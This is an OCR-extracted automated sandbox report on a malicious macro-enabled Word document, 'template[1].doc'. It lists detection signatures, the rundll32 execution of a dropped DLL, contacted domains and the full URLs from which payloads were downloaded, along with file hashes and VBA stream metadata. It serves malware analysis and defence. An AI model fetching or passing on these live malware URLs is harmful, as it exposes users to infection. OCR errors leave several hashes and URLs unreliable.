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Windows Analysis Report

template[1].doc
Overview
General Information Detection Signatures Classification
Sample template[1].doc
Name: Multi AV Scanner detection for subm...
Analysis ID: 683638 Document exploit detected (drops P...
MDS: 8f21756219d4e7..
MALICIOUS System process connects to networ...
SHAL:
CPERESIITE, Document exploit detected (creates...
SHA256: 394c97cc9d567e.. - - -
Antivirus detection for URL or domain
Tags: doc
Document contains an embedded V...
nfos: nBQt
& Document contains an embedded V...

Office process drops PE file

= —
Machine Learning detection for sam...
Score: 100
Document contains an embedded V...
Range: 0-100
o Tries to detect virtualization through...
Whitelisted: false
Confidence: 100% Machine Learning detection for drop...
EiliS S srelel®] |
Process Tree

= System is w7x64
. WINWORD.EXE (PID: 752 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
o [m taskeng.exe (PID: 412 cmdline: taskeng.exe {42E32873-DCC3-405E-9458-A04BFDF9CD6F} S-1-5-21-966771315-3019405637-367336477-1006:user-PCluser:Interactive:[1]

MD5: 65EA57712340C09B1B0C427B4848AE05)
. D rundlI32.exe (PID: 1748 cmdline: C:\Windows\system32\rundlI32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dII"*,Rdwmnjioffws MD5:

DD81D91FF3B0763C392422865C9AC12E)
= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

@ No yara matches

Sigma Signatures

@ No Sigma rule has matched
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Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Machine Learning detection for sample

Machine Learning detection for dropped file

Software Vulnerabilities

Document exploit detected (drops PE files)

Document exploit detected (creates forbidden files)

Document exploit detected (UrlDownloadToFile)

Networking

System process connects to network (likely due to code injection or exploit)
System Summary mi.

Office process drops PE file

Document contains an embedded VBA macro with suspicious strings

Data Obfuscation

Document contains an embedded VBA with many string operations indicating source code obfuscation

Malware Analysis System Evasion mi.

Document contains an embedded VBA which contains extensive loops (likely to delay execution)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion I m [::l

System process connects to network (likely due to code injection or exploit)

Mitre Att&ck Matrix
- L . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Execution Persistence . . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid Path os Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Scripting Interceptio  Process Masqueradi Credential = System Services Archive Over Other Encrypted  on Insecure Track System
n Injection ng Dumping Time Collected Network Channel Network Device Partition
Discovery Data Medium Communic  Without
ation Authorizati
on
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Behavior Graph
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection
template[1].doc 12%
template[1].doc 18%
template[1].doc 10%
template[1].doc 100%
Dropped Files

Source Detection
C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dlI 100%
C:\Users\user\AppData\Loca\Temp\~DF3EAF6279D3B942E8.TMP 100%
C:\Users\user\AppData\Local\Temp\wnitmpo.dll 100%

Unpacked PE Files

@ No Antivirus matches

Domains
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Scanner
Virustotal
Metadefender

ReversingLabs

Joe Sandbox ML

Scanner
Joe Sandbox ML
Joe Sandbox ML

Joe Sandbox ML

Label Link

Browse

Browse
Document-
Office.Trojan.Heuri
stic
Label Link
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https://www.virustotal.com/gui/file/394c97cc9d567e556a357f129aea03f737cbd2a1761df32146ef69d93afc73dc/detection/f-394c97cc9d567e556a357f129aea03f737cbd2a1761df32146ef69d93afc73dc-1660409554
https://www.metadefender.com/#!/results/file/bzIyMDgxNHVhZ0FQUFdLbXh0WVhNdENoM2w/regular/analysis

Source

com.lightbuzear.buzz

worldoptions.buzz

URLs
Source

http://crl.pkioverheid.nl/DomOvLatestCRL.crl0

http:i/

Detection

0%

2%

Detection

0%

2%

worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXI1z8vjv1TPmuyrc2ylu.m

p4
http:if

100%

worldoptions.buzz/agE7ngQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIIz8vjv1TPmuyrc2ylu.m

p4

http:/focsp.entrust.net03

http://https://com.lightbuzear.buzz/
http://https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torelEu

http://https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel1ci
http://

0%
0%
0%
0%

100%

worldoptions.buzz/agE7ngQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIIz8vjv1TPmuyrc2ylu.pn

9
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
http://https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel
http://www.diginotar.nl/cps/pkioverheid0

http:/focsp.entrust.netOD

Domains and IPs

Contacted Domains

Name P Active

www.google.com 142.250.185.228 true
com.lightbuzear.buzz 64.52.80.180 true

worldoptions.buzz 64.52.80.45 true

Contacted URLs

0%
0%
0%

0%

Malicious
false
true

false

Scanner

Virustotal

Virustotal

Scanner

URL Reputation

Virustotal

Avira URL Cloud

URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud

URL Reputation
Avira URL Cloud
URL Reputation

URL Reputation

Antivirus Detection

e 0%, Virustotal, Browse

e 2%, Virustotal, Browse

Label

Label

safe

malware

safe
safe
safe

safe

malware

safe
safe
safe

safe

Name Malicious Antivirus Detection
http:// true ® 2%, Virustotal, Browse
worldoptions.buzz/agE7ngQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIIz8vjv1TPmuyrc2yl e Avira URL Cloud: malware
u.mp4
http://https://www.Google.com/ false
http:// true e Avira URL Cloud: malware
worldoptions.buzz/agE7ngQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIIz8vjv1TPmuyrc2yl
u.png
http:i/https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel true e Avira URL Cloud: safe
URLs from Memory and Binaries
Name Source Malicious  Antivirus Detection
http:i/crl.pkioverheid.nl/DomOvLatestCRL.crlO rundlI32.exe, 00000005.00000002.11987643 false e URL Reputation: safe
89.0000000002FD8000.00000004.00000020.00
020000.00000000.sdmp
http:ifcrl.entrust.net/serverl.crlO rundli32.exe, 00000005.00000002.11986259 false

04.000000000028B000.00000004.00000020.00

020000.00000000.sdmp, rundli32.exe, 0000

0005.00000002.1198764389.0000000002FD800
0.00000004.00000020.00020000.00000000.sdmp,
rundll32.exe, 00000005.00000002.1198775167.000
0000002FED000.00000004.00000020.00020000

.00000000.sdmp
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Link
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Browse

Link

Browse
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high
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high

unknown

unknown
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https://www.virustotal.com/gui/url/9ce8c9b47a923fed38c04420d36c3ceb610eef6669d04f3c5e15176a7c586f0f/detection/u-9ce8c9b47a923fed38c04420d36c3ceb610eef6669d04f3c5e15176a7c586f0f-1656586516
https://www.virustotal.com/gui/url/60f081561de17521aa2a22fee36326b051c8592e82fdd510bb15a211410974b2/detection/u-60f081561de17521aa2a22fee36326b051c8592e82fdd510bb15a211410974b2-1660430506
https://www.virustotal.com/gui/url/d219bd457ea0fbb6b89dcc2c35228a4016bf65caad9cb82bde359106b6a4fbaa/detection/u-d219bd457ea0fbb6b89dcc2c35228a4016bf65caad9cb82bde359106b6a4fbaa-1660429533
https://www.virustotal.com/gui/url/9ce8c9b47a923fed38c04420d36c3ceb610eef6669d04f3c5e15176a7c586f0f/detection/u-9ce8c9b47a923fed38c04420d36c3ceb610eef6669d04f3c5e15176a7c586f0f-1656586516
https://www.virustotal.com/gui/url/60f081561de17521aa2a22fee36326b051c8592e82fdd510bb15a211410974b2/detection/u-60f081561de17521aa2a22fee36326b051c8592e82fdd510bb15a211410974b2-1660430506
https://www.virustotal.com/gui/url/d219bd457ea0fbb6b89dcc2c35228a4016bf65caad9cb82bde359106b6a4fbaa/detection/u-d219bd457ea0fbb6b89dcc2c35228a4016bf65caad9cb82bde359106b6a4fbaa-1660429533

Name

http:/focsp.entrust.net03

http://https://com.lightbuzear.buzz/

http:/f
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel
Eu

http:ff
https://com.lightbuzear.buzz/Kolpt523ytcserstrew/torel
1ci

hitp://crl.pkioverheid.nl/DomOrganisatieLatestCRL-
G2.crlo

http://www.diginotar.nl/cps/pkioverheid0

http://ocsp.entrust.netOD

http://https://secure.comodo.com/CPS0

hitp:// https://www.google.com/

http://crl.entrust.net/2048ca.crl0

World Map of Contacted IPs

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
B 75% <No. of IPs

Public IPs
P Domain

142.250.185.228 www.google.com
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Source

rundll32.exe, 00000005.00000002.11986259
04.000000000028B000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0005.00000002.1198764389.0000000002FD800
0.00000004.00000020.00020000.00000000.sdmp,
rundll32.exe, 00000005.00000002.1198775167.000
0000002FED000.00000004.00000020.00020000
.00000000.sdmp

rundll32.exe, 00000005.00000002.11987946
40.000000000300F000.00000004.00000020.00
020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11985759
87.0000000000215000.00000004.00000020.00
020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11987751
67.0000000002FED000.00000004.00000020.00
020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11987643
89.0000000002FD8000.00000004.00000020.00
020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11987643
89.0000000002FD8000.00000004.00000020.00
020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11987643
89.0000000002FD8000.00000004.00000020.00
020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11986259
04.000000000028B000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0005.00000002.1198764389.0000000002FD800
0.00000004.00000020.00020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11986052
77.0000000000250000.00000004.00000020.00
020000.00000000.sdmp

rundll32.exe, 00000005.00000002.11987643
89.0000000002FD8000.00000004.00000020.00
020000.00000000.sdmp

Country Flag

United States =

Malicious

false

false

false

false

false

false

false

false

false

false

ASN

15169

Antivirus Detection

e URL Reputation: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe

URL Reputation: safe

URL Reputation: safe

ASN Name

GOOGLEUS

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

high

high

high

Malicious

false
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P Domain Country Flag ASN ASN Name Malicious

64.52.80.45 worldoptions.buzz United States £S5 7029 WINDSTREAMUS false
64.52.80.180 com.lightbuzear.buzz United States £S5 7029 WINDSTREAMUS true
General Information
Joe Sandbox Version: 35.0.0 Citrine
Analysis ID: 683638
Start date and time: 2022-08-14 08:38:11 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 5m 51s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: template[1].doc
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 7
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.expl.evad.winDOC@4/13@3/3
EGA Information: e Successful, ratio: 100%

HDC Information:

.

Successful, ratio: 99.9% (good quality ratio 81%)
Quality average: 59.7%
Quality standard deviation: 36.2%

.

.

HCA Information:

.

Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Cookbook Comments: Found application associated with file extension: .doc
Adjust boot time

Enable AMSI

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

e o o o o o o

Warnings

Exclude process from analysis (whitelisted): dllhost.exe

TCP Packets have been reduced to 100

Report size getting too big, t oo many NtDeviceloControlFile calls found.
Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtQueryAttributesFile calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.

e o o o o o

Simulations

Behavior and APIs

Time Type Description
08:38:36 API Interceptor 461x Sleep call for process: taskeng.exe modified
08:38:38 API Interceptor 1158x Sleep call for process: rundll32.exe modified
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Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\ProgramData\Windose.txt

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 64

Entropy (8bit):  5.015319531114784

Encrypted: false

SSDEEP: 3:bSUsk4wyCkmqVzzSYvn7tRXMn:bnsSyNRVfS7n

MD5: 4384ECFFBEEE86478F501C6E0F37CA27

SHAL: 6F355A0907E58ACD208CA041E21FF8F4647EB2EOD

SHA-256: 85BE85FEA84155D42C8C266F5F6E4F524AEEC2634FB4ESC0965DE4B22898D8FD

SHA-512: 4B6853293CB4775084457CF7FA8BE8B525E5451BDOC3DDEE3C9E46208F5460342F893EAB18320374245A19BEO3D10DA7C41CDC14A159086A39EE9333055D70CA!
Malicious: false

Reputation: low

Preview: 8vgS6wqIxCkSc+zEEKNg29ukmkCH7JplObVw88DCgMYuCs75SuzhXb90oIxt2JA8

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\XNHCOJWC\OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1T

Pmuyrc2ylu[1].mp4

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: downloaded

Size (bytes): 378880

Entropy (8bit): 6.133046904552265

Encrypted: false

SSDEEP: 6144:y3fcM8b4iC7bOWasINgY1CkOPvTghPuUh+BUI1vKHB1pL:kC4iC7bOXNDWhdKHB/

MD5: 6693755302B08318B6F6AB67783AB07E

SHAL: 7TEC3E1AE2AA7DD816D856A0BDF507D88E6G3F6B05

SHA-256: 7FD9CBA9618AABEEB94E88535BCA0466B6B8AB27C4CB3FC6142D093B21753A8F

SHA-512: 634E3DE2B6B2536F87A71DFD4E573BD6992BCFA5D26F2B64B74172DD0CD5CC7AOEE18DF1403D664EAB6EOA4967BBDFC5E12C5A424B38BF74294C82F12B37F
C9D

Malicious: false

Copyright Joe Security LLC 2022 Page 12 of 91



Reputation: low

|IE Cache URL: http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIIz8vjv1TPmuyrc2ylu.mp4

Preview:  asdficcciii e @ 1..L.IThis program cannot be run in DOS mode....$....... %.uQa...a..a...q...... 5
.0 ) nc.Dan x3...

. .@..@.data...’ T...p..%..
O 0 = TSP TSSO OSSO T ST TP SE ST TP POT TSRO PPRPPO

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\ZAE7TRW1P\OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1T

Pmuyrc2ylu[1].png

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: downloaded

Size (bytes): 4981

Entropy (8bit):  6.247045973732636

Encrypted: false

SSDEEP: 96:rMcaxwVGV0IC6eyLfEG2MMy/90emtgSM1zJgpfM1zkm/mGM1zHMOM1z1moM1zimD:oBaGrREG2pgl2pglmReiOk5j

MDS5: D4E39CC4B61F64C5A5BC497776D83395

SHAL: C40642027D0D79325305842C24355C85DB7291FB

SHA-256: 637EF6D2A364E9667CCA305974A4A12DFD11B6D55AFESASA4F00AF58A98C62E8

SHA-512: 124DCEDG63E83F5A59D27548B46BEFF6762316BDDC332A9A4DEC35B5A5735B77B5480A3E95D8FIAE45E9CEDAE98727391C58918266610856E06698E85ED66966
Malicious: false

Reputation: low

IE Cache URL:  http:/fworldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspgqorBFNYMrxHN7TXIIz8vjv1TPmuyrc2ylu.png

Preview:

U~ WITPL.SIT. L WITS..SITL LT BSIre Wi .2 wirr V. 2S i U~ WITP.ASIT. . wits. RS # rri.6srri..wrri#.p..owrrr. V.. 2srrn{.u.~

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{78D6FE31-C42D-4CC6-BOD1-824575AF05A9}.tmp

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped

Size (bytes): 245248

Entropy (8bit):  5.036287488973504

Encrypted: false

SSDEEP: 1536:yFune95x0ysBFgV2SJIKP8y/4AXbObHHARNI57GB6FUne95xoysBFgV2SJIKP8y/4C:yUnThBI/USLevCB6UNThBI/USLevCB

MD5: 79F39E4A21B47738908F07B5C6DB10DC

SHA1L: EF61EB830B56C6E887A40AFF0621E70E27AD3A78

SHA-256: 004F56B2D352C4FFA1E6BOE19821C9CB7BCFB745E318F78987AE2CBC460F10D2

SHA-512: 59650D49AB0OCOBOF13F47F21B8645FCF184178A456FA90E6CBES30A5B8ES3AEFC3452F1BBC7BESCB54A91F3ED98968E8BB5DF1271FDD3BIF57459F36E0F5C0O
D1

Malicious: false

Reputation: low

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2837334C-3C28-47DF-B8E9-7A311DBFF213}.tmp

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit):  0.05390218305374581

Encrypted: false

SSDEEP: 3:0l3lYdn:4Wn

MD5: 5D4D94EE7E06BBBOAF9584119797B23A

SHAL: DBB111419C704F116EFA8BE72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

Copyright Joe Security LLC 2022 Page 13 of 91



SHA-512:

Malicious:
Reputation:

Preview:

95F83AE84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28E
A4

false

high, very likely benign file

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.\Word\~WRS{6D74B366-D4C8-464E-A7CA-80C94D1A45EA}.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E8S6E49677
4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D0997CC5FD1

95F83AE84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDAS519624BC2BB2F28E
A4

false

C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dit % €

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

dropped

378881

6.13304287996916

false
6144:33fcM8b4iC7bOWasINgY1CkOPvTghPuUh+BUI1vKHB1pLK:xC4iC7bOXNDWhdKHB/K
7BCCABAODEF6F9027C52A3383477B963
DD5DA06A73DD3F8C86665931D2F2125DE7BE42BF
A2BEOFE4CAFBCA698873FADCA25970FE24DF6FDIC2FODALIE2DEC6561A2C33177
3195C5CD33BA1D48C46206A34D8BED9SE7EC6635A46CA77F7FDE70A830C70C7ABF6D1DB3130016022A3A23E7C936558276D746886D7039145F7E5B53A974544

true

e Antivirus: Joe Sandbox ML, Detection: 100%

C:\Users\user\AppData\Local\Temp\wnitmpo.dll v@

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

dropped

378880

6.133036314043739

false
6144:33fcM8b4iC7bOWasINgY1CkOPvTghPuUh+BUI1vKHB1pL:xC4iC7bOXNDWhdKHB/
CCB89C9FA4DCF4BB373891C3F20AD2F56
5929ABEC0909DD895075EB6897462750711DFBB7
O0E209D2DE485637DF53C20C8425FF3F20AF6E04A46697D80F459EC6CD36C58B7
87B29761587BB887654E43C529740C83AA66929FA0C995403929E3EF523DC61C9A186CE4B873C43580FE703D5DOF5D65E5348BBFC81FDE881F84FC22D882620¢
true

e Antivirus: Joe Sandbox ML, Detection: 100%
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Preview:

C:\Users\user\AppData\Local\Temp\-DF3EAF6279D38942e8.TMP ¥ &)

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Antivirus:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

Composite Document File V2 Document, Cannot read section info

dropped

178176

5.0304772299397476

false
1536:1d+DhMSG5wjHZddynh67Wg0zt5wGUIOp5IXcXVFNR41g7cOT/V:luMOdyn5Xt5wG1clFzCa7c0T/
AB83E531042C7DF27D05E672B91D7D96F

CEF36313E249B3B43F22443DB1B86710205DEE2E
844F9F4A2C8923247E96274D921DCABBFIB63270B34885CFF8BB0509E39DCB16

E171F31567470832CCAD900796E5894EAEFDDBC8881BAD1C38F6E65C610D5ECC7F34072EFFAG6C08939A4F8F2EFG63E68D1777AE19A82F521B64D63810DDBASC
Cc2

true
e Antivirus: Joe Sandbox ML, Detection: 100%

>

B ot F o] 0..1..2..3..4..5..6..7..8..9...0..
CEFl Gl H 1) K Lo MUNLOL P QRS T UL VW XY Zo [ ] A as b cod.e g b ..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

73

4.418942457548717

false

3:bDuMJlIb+U+zVomX1mob+U+zVov:bCCavV+/ivVy
20676B07529FE173251FOBAFEBF29C4D
499ABE24E905DB974195547210D1E99477BD4644
652E7FO08A1DEB302C8550D4647436D7498639A20F9A5F6351F412EAEC7410DFB
481C5FFC07976154AC36E72326474A5E9928144E1FC1068ACB02A209B68FB97B06C84710A604DBAD29CFCD44E1789E967F6D43B27CCF5C685AD028CES59D6062
false

[folders]..Templates.LNK=0..template[1].LNK=0..[doc]..template[1]. LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\template[1].LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:55 2022, mtime=Tue Mar 8 15:45:55 2022,
atime=Sun Aug 14 14:38:14 2022, length=51033, window=hide

dropped

1019

4.538758479797877

false

12:8qCK80gXg/XAICPCHaXNBQtB/XQpX+WT9aiEVljuicvbbzajlWDtZ3YiIMMEpxJ:8qCXk/X TOSIpOtEKNeXz1Dv3gTau7D

CE81AA7CAA96AB93764982AD610D868B

1118B8B3EB3AA7321DB3D13D8A75ACB2F998AADS

689F29512ABDBEB358039E1F3C67DF4530CAB1F181B0467EE6C3620D498521CE

9946D20200077F44EFC7B3A865E5F6276 AEEBOEBI57EE3773858B1D132FC989CACD629C69038B1575FC7C004BAF5F7B96A251FFF414BD2191B646B51D1F28A4.
false

B Users..@.s.hell3.2.d.lLl,.-
D.e.sk.t.o.p..@.s.hell3.2..dll,.-.2.
?2J.....C:\Users\. #........... .\\11693
oS 1-5.-

| ESTTTUPRPR Fuoo s 2.3..2.3..)@...Y o P.O. i 400 /C\ t.1.....QK.X..Users. ..........QK.X*.
....Alb.us....z.1....hT....Desktop.d......QK.XhT..*..._:
e te.m.p.late.[.1]..d.o.c.... JREINR: o
8\Users.user\Desktop\template[1].doc.&.....\....\....\....\...\.D.e.s.k.t.o.p.\.t.e.m.p.l.a.t.e.[.1.]...d.o.c

2.1.-9.6.6.7.7.1.3.1.5.-3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............".....X.......116938.......... B

1.7.6.9....h.2.Y...U.| TEMPLA~1.DOC. L.....hT..hT.*

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Copyright Joe Security LLC 2022 Page 15 of 91



Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data
Category: dropped
Size (bytes): 162

Entropy (8bit):  2.503835550707525

Encrypted: false

SSDEEP: 3:vrJlaCkWiVyHH/cgQfmwW+eMdIn:vdsCkWtUb+8II

MDS5: D9C8F93ADB8834E5883B5A8AAACOD8DY

SHAL: 23684CCAA587C442181A92E722E15A685B2407B1

SHA-256: 116394FEAB201D23FD7A4D7F6B10669A4CBCEB9AF3575D9C1E13E735D512FALL

SHA-512: 7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AAEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F05265
5

Malicious: false

Preview: LUSET ettt Alb.us........ Peveeees 15 s 25 e @35.....ccen 35....Zu p45....X...

C:\Users\user\Desktop\~$mplate[1].doc

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit):  2.503835550707525

Encrypted: false

SSDEEP: 3:vrdlaCkWtVyHH/cgQfmW+eMdIn:vdsCkWtUb+8lI

MD5: D9C8F93ADB8834E5883B5A8AAACOD8DI

SHAL: 23684CCAA587C442181A92E722E15A685B2407B1

SHA-256: 116394FEAB201D23FD7A4D7F6B10669A4CBCEGIAF3575D9C1E13E735D512FAL1

SHA-512: 7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1ICB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F05265
5

Malicious: false

Preview:

Static File Info
General
File type: Microsoft Word 2007+

Entropy (8bit):  7.873361527141924

TriD: e Word Microsoft Office Open XML Format document with Macro (52004/1) 33.99%
e Word Microsoft Office Open XML Format document (49504/1) 32.35%
e Word Microsoft Office Open XML Format document (43504/1) 28.43%
e ZIP compressed archive (8000/1) 5.23%
File name: template[1].doc
File size: 60418
MD5: 8f21756219d4e736219011174eb0534b
SHAL: 4429c¢35b62d55abe159e130c095fc988e640f3fd
SHA256: 394¢97cc9d567e556a357f129aea03f737chd2al761df32146ef69d93afc73dc
SHA512: 315e36¢7fh746ed22bac49c5121c448e2b5a53741e2467d4ecacda372c0d79da50cc0d1d2b4a68f425540e1c667558293862e54ea8f9fd537485d1c327¢c7d3e2
SSDEEP: 768:urH9EDL1s1p6qCSlioGwmFRdoUzQLgRIpgVmbTzD1CNJIbOz+zaN180I1Z5grp/0GR:ur6Lm1p7QDdoaQLgRYm7pQNOz71IW5R
TLSH: 054302ADD306B820E77AC0B4D81715F6F779F5461384FOEB02C9C508D52A25BB2DBESL
File Content #......[Content_Types].xml ...
Preview: (.
Filelcon

Icon Hash: edeea2aaadbdbdad

Static OLE Info
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General

Document Type: OpenXML
Number of OLE Files: 1

OLE File "/opt/package/joesandbox/database/analysis/683638/sample/template[1].doc"

Indicators

Has Summary Info:

Application Name:

Encrypted Document: False
Contains Word Document Stream: ~ True

Contains Workbook/Book Stream: False

Contains PowerPoint Document False

Stream:

Contains Visio Document Stream: False

Contains ObjectPool Stream: False

Flash Objects Count: 0

Contains VBA Macros: True

Summary

Author: ismail - [2010]
Template: Normal.dotm

Last Saved By: ismail - [2010]

Revion Number: 1

Total Edit Time: 403197

Create Time: 2021-11-01T09:30:00Z
Last Saved Time: 2022-08-08T09:27:00Z
Number of Pages: 1

Number of Words: 0

Number of Characters: 0

Creating Application: Microsoft Office Word
Security: 0

Document Summary

Number of Lines: 0
Number of Paragraphs: 0
Thumbnail Scaling Desired: false
Company: home
Contains Dirty Links: false
Shared Document: false
Changed Hyperlinks: false
Application Version: 14.0000
Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 116091

General

Stream Path: VBA/ThisDocument

VBA File Name: ThisDocument.cls

Stream Size: 116091

Data ASCI.: L N e...YL..L.......... ot e ZwAllocateVirtualMemory...
FoX o Internal_EnumUlLanguages...... Voo 8. MultiByteToWide
Char.. ...

Data Raw: 01 16 03 00 00 9c 01 00 00 5e 09 00 00 80 01 00 00 ac 02 00 00 ff ff ff ff 65 09 00 00 59 4c 01 00 eb 4c 01 00 00 00 00 00 01 00 00 00 46 dc de e0 00
00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 a8 00 00 00 00 00 3a 02 20 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 5a 77 41 6¢ 6¢ 6f 63 61 74 65 56 69 72 74 75 61 6¢ 4d 65 6d 6f 72 79 00 00

VBA Code

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 438
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General

Stream Path: PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 438

